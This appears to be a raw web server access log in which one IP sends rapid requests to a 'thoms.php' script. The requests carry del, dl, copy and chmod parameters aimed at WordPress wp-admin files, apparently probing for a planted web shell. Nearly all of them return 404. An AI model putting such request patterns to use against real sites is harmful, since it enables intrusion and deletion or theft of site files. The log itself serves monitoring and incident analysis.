45.135.193.11 - - [12/Sep/2026:00:00:37 -0400] "GET /thoms.php?del=export-personal-data.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=export-personal-data.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:37 -0400] "GET /thoms.php?dl=load-styles.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=load-styles.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:37 -0400] "GET /thoms.php?del=revision.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=revision.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:37 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fwidgets-form-blocks.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fwidgets-form-blocks.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:37 -0400] "GET /thoms.php?del=network&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=network&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:37 -0400] "GET /thoms.php?del=edit-link-form.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-link-form.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:37 -0400] "GET /thoms.php?dl=edit.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=edit.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:37 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fexport.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fexport.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:37 -0400] "GET /thoms.php?chmod=upgrade.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=upgrade.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:37 -0400] "GET /thoms.php?chmod=options.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:37 -0400] "GET /thoms.php?del=maint&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=maint&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:37 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fnetwork&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fnetwork&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:37 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Finstall.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Finstall.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:37 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=ms-users.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=ms-users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:37 -0400] "GET /thoms.php?dl=user-edit.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=user-edit.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:37 -0400] "GET /thoms.php?chmod=edit-form-advanced.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-form-advanced.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:37 -0400] "GET /bfl.com.tw/wp-admin/freedoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:38 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fmedia.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fmedia.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:38 -0400] "GET /thoms.php?chmod=plugin-editor.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=plugin-editor.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:38 -0400] "GET /thoms.php?del=tools.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=tools.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:38 -0400] "GET /thoms.php?del=user-edit.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=user-edit.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:38 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=export-personal-data.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=export-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:38 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=export.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=export.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:38 -0400] "GET /thoms.php?chmod=link-manager.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=link-manager.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:38 -0400] "GET /bfl.com.tw/wp-admin/media-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:38 -0400] "GET /bfl.com.tw/wp-admin/network.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:38 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fmenu-header.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fmenu-header.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:38 -0400] "GET /thoms.php?chmod=options-media.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-media.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:38 -0400] "GET /bfl.com.tw/wp-admin/theme-install.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:39 -0400] "GET /thoms.php?del=async-upload.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=async-upload.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:38 -0400] "GET /bfl.com.tw/wp-admin/customize.php HTTP/1.1" 403 1171 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:39 -0400] "GET /thoms.php?chmod=edit-form-blocks.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-form-blocks.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:39 -0400] "GET /thoms.php?del=ms-delete-site.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-delete-site.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:39 -0400] "GET /thoms.php?chmod=options-connectors.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-connectors.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:39 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Foptions-reading.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Foptions-reading.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:39 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=update-core.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=update-core.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:39 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fwidgets-form.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fwidgets-form.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:39 -0400] "GET /thoms.php?chmod=ms-users.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-users.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:39 -0400] "GET /thoms.php?chmod=options-writing.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-writing.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:39 -0400] "GET /bfl.com.tw/wp-admin/admin-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:39 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=admin-ajax.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=admin-ajax.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:39 -0400] "GET /thoms.php?chmod=authorize-application.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=authorize-application.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:39 -0400] "GET /thoms.php?del=link-add.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=link-add.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:39 -0400] "GET /thoms.php?chmod=install.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=install.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:39 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Flink-parse-opml.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Flink-parse-opml.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:40 -0400] "GET /thoms.php?dl=options-connectors.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-connectors.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:40 -0400] "GET /thoms.php?dl=setup-config.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=setup-config.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:40 -0400] "GET /thoms.php?chmod=edit-form-comment.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-form-comment.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:40 -0400] "GET /thoms.php?dl=link.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=link.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:40 -0400] "GET /bfl.com.tw/wp-admin/media-upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:40 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=options-reading.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=options-reading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:40 -0400] "GET /thoms.php?dl=upgrade-functions.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=upgrade-functions.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:40 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=upgrade.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=upgrade.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:40 -0400] "GET /thoms.php?chmod=widgets.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=widgets.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:40 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Ferror_log&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Ferror_log&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:40 -0400] "GET /thoms.php?del=moderation.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=moderation.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:40 -0400] "GET /thoms.php?dl=privacy.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=privacy.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:40 -0400] "GET /thoms.php?chmod=term.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=term.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:40 -0400] "GET /thoms.php?del=includes&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=includes&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:40 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=comment.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Ffreedoms.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Ffreedoms.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:40 -0400] "GET /bfl.com.tw/wp-admin/widgets.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fload-scripts.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fload-scripts.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fexport-personal-data.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Fexport-personal-data.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:41 -0400] "GET /thoms.php?chmod=install-helper.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=install-helper.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:41 -0400] "GET /bfl.com.tw/wp-admin/nav-menus.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:41 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin&view=network.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-admin&view=network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Ftools.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Ftools.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:41 -0400] "GET /thoms.php?dl=upgrade.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=upgrade.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:41 -0400] "GET /thoms.php?del=user-new.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=user-new.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:41 -0400] "GET /thoms.php?del=install-helper.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=install-helper.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:41 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin%2Flink-manager.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin%2Flink-manager.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
